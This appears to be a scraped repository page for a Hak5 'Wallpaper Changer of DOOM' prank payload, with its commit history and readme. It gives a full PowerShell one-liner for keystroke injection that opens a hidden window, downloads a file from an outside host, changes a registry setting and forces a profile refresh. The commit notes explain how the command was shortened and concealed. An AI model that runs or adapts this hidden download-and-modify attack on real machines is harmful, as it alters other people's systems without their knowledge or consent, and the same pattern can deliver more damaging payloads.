History

Rosius Yves 0ee25f8d0d Update payload.txt (#365 ) Some more shortening. Only 183 characters! powershell -w h "$p=$home+'\b.jpg';iwr h4k.cc/b.jpg -O $p;SP 'HKCU:Control Panel\Desktop' WallPaper $p;1..59\|%{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}" * Omit http:// from URI * powershell -w h to start a hidden powershell windows * set variable $p for later re-use (saves characters) * Omit -Uri and redundant characters in -Outfile (-O) switches * 1..59\|% to create a loop for 60 seconds * use $home as directory	2019-01-22 23:24:56 -08:00
..
payload.txt	Update payload.txt (#365 )	2019-01-22 23:24:56 -08:00
readme.md	Added wallpaper prank payload re: Hak5 episode 2502	2019-01-09 10:58:36 -08:00

Rosius Yves 0ee25f8d0d Update payload.txt (#365 )

Some more shortening. Only 183 characters!

powershell -w h "$p=$home+'\b.jpg';iwr h4k.cc/b.jpg -O $p;SP 'HKCU:Control Panel\Desktop' WallPaper $p;1..59|%{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}"

* Omit http:// from URI
* powershell -w h to start a hidden powershell windows
* set variable $p for later re-use (saves characters)
* Omit -Uri and redundant characters in -Outfile (-O)
 switches
* 1..59|% to create a loop for 60 seconds
* use $home as directory

2019-01-22 23:24:56 -08:00

payload.txt

Update payload.txt (#365 )

2019-01-22 23:24:56 -08:00

readme.md

Added wallpaper prank payload re: Hak5 episode 2502

2019-01-09 10:58:36 -08:00

readme.md

Wallpaper Changer of DOOM!!!!

Author: Hak5Darren
Props: Alex Goat
Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
Target: Windows Vista+
Category: Prank

Description

Single stage powershell one-liner executes from run dialog. CMD opens a minimized powershell window which downloads b.jpg (change this URL) to c:\windows\temp then sets the registry entry to change the wallpaper, then finally loops over an undocumented USER32.DLL feature for 60 seconds to force a user profile refresh.

STATUS

LED	Status
SETUP	Setting attack mode
ATACK	Injecting keystrokes